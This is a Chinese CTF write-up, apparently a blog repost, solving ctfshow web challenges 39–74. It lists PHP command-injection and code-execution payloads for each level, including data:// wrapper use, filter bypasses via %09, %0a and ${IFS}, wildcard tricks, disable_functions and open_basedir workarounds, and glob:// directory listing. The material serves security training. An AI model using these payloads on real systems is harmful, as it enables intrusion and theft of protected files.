| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> ctfshow web39-74学习记录 -> 正文阅读 |
|
[PHP知识库]ctfshow web39-74学习记录 |
web 39查看代码 还是利用php:data伪协议,和38差不多 Payload:?c=data://text/plain,<?php system('tac fla*.php');?> web 40直接给 Payload1:?c=show_source(next(array_reverse(scandir(current(localeconv()))))); 通过货币信息(localeconv())取这个点(current())来到当前目录(scandir())把目录结果进行翻转(array_reverse())取向下一个,然后展示源码(show_source) Payload2: 首先?c=print_r(get_defined_vars()); 加POST数组(在POST中应加;1=phpinfo();) 利用对数组的操作next() ?c=print_r(next(get_defined_vars())); 获取数组值,对数组进行弹出array_pop() ?c=print_r(array_pop(next(get_defined_vars()))); 执行一下eval(),改为1=system(‘ls’); ?c=eval(array_pop(next(get_defined_vars()))); 再改为1=system(‘tac flag.php’); web 41这个给个链接: ctfshow web入门 web41_羽的博客-CSDN博客https://blog.csdn.net/miuzzx/article/details/108569080 再给个脚本:
? ? 运行脚本 在修改一下(ls改为cat flag.php) 得到flag。 web 42采用双写绕过(直接cat flag.php也可以) 改一下 web 43查看后发现分号和cat被过滤了,于是想到可以将分号改为%0a web 44多了一个flag过滤,利用通配符,拿到flag web 45空格也被过滤,用%09替代 Payload:?c=tac%09fla*%0A web 46增加数字,$与* Payload:?c=tac%09fla?????%0A web 47-49统一的payload:?c=tac%09fla?????%0A web 50-51Payload:?c=nl<fla''g.php|| web 52首先ls一下payload:c=ls${IFS}/|| 再cat一下flag,payload:?c=nl${IFS}/fla\g|| web 53后边有了分号,不需要||了,cat,tac被过滤。 Payload:?c=nl${IFS}fla\g.php web 54直接ls一下 然后payload:?c=paste${IFS}fla?.php web 55-56发现字母全被过滤了,然后在网上学习了无字母命令执行,wp有点长,单独写一篇. web 57看到flag再flag36.php中,只要构造出来36即可 ${_} ="" //返回上一次命令 $((${_}))=0 $((~$((${_}))))=-1 echo $(()) #0
web 58Payload:c=show_source('flag.php'); POST直接传参 c=show_source('flag.php'); 绕过disable_functions系列: 查看目录下文件: c=var_dump(scandir("/")); c=print_r(scandir('./')); c=print_r(scandir(dirname('__FILE__'))); 通过单一函数读取文件: c=echo file_get_contents("flag.php"); 通过fopen去读取文件内容,这里介绍下函数 fread()、ets()、getc()、getss()、getcsv()、passthru() payload: c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgets($a);echo $line;}//一行一行读取 c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取 c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);var_dump($line);} 通过高亮显示php文件: show_source("flag.php");???????????? highlight_file("flag.php");? web 59查看当前目录下 然后高亮显示flag.php文件 web 60Payload:c=show_source(‘flag.php’);或者c=highlight_file("flag.php"); c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);} web 61-65查看当前目录:c=print_r(scandir(current(localeconv()))); payload: c=show_source('flag.php'); c=highlight_file('flag.php'); c=highlight_file(next(array_reverse(scandir(current(localeconv()))))); web 66本来还想查看当先目录文件,但发现 然后查看根目录下文件 看到flag.txt,show_source()函数被禁用,于是用highlight_file()函数 Payload总结:c=print_r(scandir("/")); c=highlight_file('/flag.txt'); web 67发现print_r函数被禁用 先查看根目录下文件:c=var_dump(scandir("/")); 然后POST:c=highlight_file('/flag.txt'); web 68-70hint:尝试include('index.php'); show_source()和highlight_file()被禁用 先查看根目录下问价 看到flag在flag.txt中 payload:c=include('/flag.txt') 69和70也可以用:c=include('/flag.txt') web 71 Hint:我们可以执行php代码让后面的匹配缓冲区不执行直接退出 payload:c=include('/flag.txt');exit(0); 函数介绍: ob_get_contents — 返回输出缓冲区的内容 payload: c=require_once('/flag.txt');exit();这里通过exit();使程序提前退出,绕过后面的正则表达式 web 72
然后就需要用到uaf脚本绕过,disable_function()限制了很多函数,可以直接用uaf脚本进行命令执行
web 73根据上一题的经验,直接用glob伪协议。 payload: c=?><?php ??? $a=new directoryiterator("glob:///*"); foreach($a as $f) { ??? echo($f->__tostring().' '); } exit(0); ?> #?? glob:///*? 会列出根目录下的文件 # glob://*?? 会列出open_basedir允许目录下的文件 需要对其进行一次url编码 得到flagc.txt,再得到flag: c=include('/flagc.txt');exit(0); c=require("/flagc.txt");exit(0); c=require_once("/flagc.txt");exit(0); web 74和上一题过程一样。 最终结果:? |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/14 14:36:45- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |